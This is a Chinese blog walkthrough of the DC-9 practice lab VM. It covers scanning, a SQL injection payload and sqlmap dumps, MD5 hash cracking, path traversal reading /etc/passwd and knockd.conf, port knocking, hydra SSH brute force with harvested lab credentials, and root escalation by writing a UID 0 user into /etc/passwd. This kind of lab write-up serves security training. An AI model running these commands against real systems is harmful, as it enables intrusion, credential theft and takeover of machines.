1.1收集目标网络信息:IP地址
靶机运行在虚拟环境并且配置在192.168.1.0/24网段
nmap -sn 192.168.1.0/24

由此得知我们的靶机地址就是192.168.1.136
设置一个环境变量方便后续针对此ip的使用
export ip=192.168.1.136
1.2主动扫描:扫描IP地址段
nmap $ip -n -Pn -p- --reason -sV

开放22、80端口
1.3针对端口漏洞扫描
nmap --script=vuln -p22,80 $ip

2.初始访问
2.1 利用面对公众的应用
先访问80端口,此为Web服务

有查询、搜索、和登录功能,对于我们渗透来说肯定是喜闻乐见的,功能点越多安全隐患就越多。
2.2 主动信息收集
目录爆破
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.1.136

2.3 功能点测试
在此页面中我们输入 Julie' OR '1'='1 参数发现,页面会将所有存储的数据全部返还,那这里就有测试SQLI的疑点了,这里直接使用sqlmap进行测试
sqlmap -u "http://192.168.1.136/results.php" --data "search=" --batch --risk 3 --level 5 --dbs --dump
确实存在明显的SQLI注入,我们直接拿下admin和密码

admin 856f5de590ef37314e7c3bdf6f8a66dc
这里需要针对密码进行解密
我们可以先使用 hashcat 工具看一下密码是哪一种加密方式,或者使用在线网站
这里分析到是md5直接解密
结果:transorbital1
我们先在ssh试试可不可以直接摘果子,ssh直接拒绝连接,那只能在Web登录了

这里多出了功能模块,想必也是有关数据库的操作,然后下面又显示file文件不存在,我们就可以尝试一下file参数能不能爆出些东西。

http://192.168.1.136/addrecord.php?file=../../../../../etc/passwd
我们猜想的确实没有问题,爆出了一个文件包含的漏洞。

我们可以看到许多刚才数据库中包含的用户名,那我们接下来看看ssh服务,刚才是直接连接失败了的,但是我们可以读取knockd服务文件进行"敲门"
存在knockd服务, 该服务通过动态的添加iptables规则来隐藏系统开启的服务, 使用自定义的一系列序列号来"敲门",使系统开启需要访问的服务端口,才能对外访问。 不使用时,再使用自定义的序列号来"关门",将端口关闭,不对外监听。进一步提升了服务和系统的安全 //配置文件路径 默认配置文件是:/etc/knockd.conf
http://192.168.1.136/addrecord.php?file=../../../../../etc/knockd.conf

[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
我们使用nc来开启ssh服务

22端口此前是 filtered 状态的,现在已经开启
我们拿一下刚才数据库中的用户信息然后进行爆破
sqlmap -u "http://192.168.1.136/results.php" --data "search=" --batch --risk 3 --level 5 --dbs --dump

sqlmap -u "http://192.168.1.136/results.php" --data "search=" --batch --risk 3 --level 5 --dbs -D users -T UserDetails --dump

将lastname、username、firstname收集制作成name.txt字典,password制作为密码字典pas.txt
直接用hydra进行ssh爆破(如果这里22端口关了就用nc再开一次)
hydra -L name.txt -P pas.txt ssh://192.168.1.136

这里成功拿到了三个账号和密码
3. 权限提升
3.1 初始权限
login: chandlerb password: UrAG0D! login: joeyt password: Passw0rd login: janitor password: Ilovepeepee
登录进去后就使用
ls -liah
命令查看用户内存有什么信息
最终在janitor用户中看到了一个目录.secrets-for-putin
并发现一个十分显眼的文件
passwords-found-on-post-it-notes.txt
janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt BamBam01 Passw0rd smellycats P0Lic#10-4 B4-Tru3-001 4uGU5T-NiGHts
那再继续使用更新后的密码文件继续进行爆破
获得了新的用户和密码
3.2 获取root权限
login: fredf password: B4-Tru3-001

在输入sudo -l后发现我们可以在/opt/devstuff/dist/test/test目录下不需要密码就可以执行root权限
我们切换到/opt/devstuff/dist/test目录下尝试执行,发现test需要python执行
我们使用find命令查找一下
find / -name "test.py" -print 2>/dev/null
fredf@dc-9:/opt/devstuff/dist/test$ find / -name "test.py" -print 2>/dev/null /opt/devstuff/test.py /usr/lib/python3/dist-packages/setuptools/command/test.py
我们查看一下那个脚本
cat /opt/devstuff/test.py

发现其中存在读写操作
思路这就来了,我们可以通过test.py脚本强加一段内容到/etc/passwd中
我们需要知道/etc/passwd文件信息的含义 root:x:0:0:root:/root:/bin/bash root 用户名(自定义设置) :x 用户密码(为安全考虑用x代替) :0 UID :0 GID :root 全称,对用户的描述 :/root 用户家目录 :/bin/bash shell环境变量(查看用户是否作为可交互式,允许登录/bin/bash, 不允许登录/sbin/nologin) 之所以写入/etc/passwd文件中,是因为我们要追加一条uid=0的用户 因为root的UID=0 我们现在需要使用openssl生成密码 openssl passwd -1 -salt 盐值 密码 -1为MD5加密算法 -salt指定盐值 如:openssl passwd -1 -salt 123 lili 构造出:lili:$1$123$k4CUWxfcO..LMsdzYDAgK1:0:0:lili:/root:/bin/bash echo 'lili:$1$123$k4CUWxfcO..LMsdzYDAgK1:0:0:lili:/root:/bin/bash'>/tmp/lili cd /tmp sudo /opt/devstuff/dist/test/test lili /etc/passwd su lili 密码就是 lili

这样我们就获得了一个root权限的用户
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://www.oneblanks.xyz/dc-9-%e9%9d%b6%e6%9c%ba%e7%bb%83%e4%b9%a0/
共有 0 条评论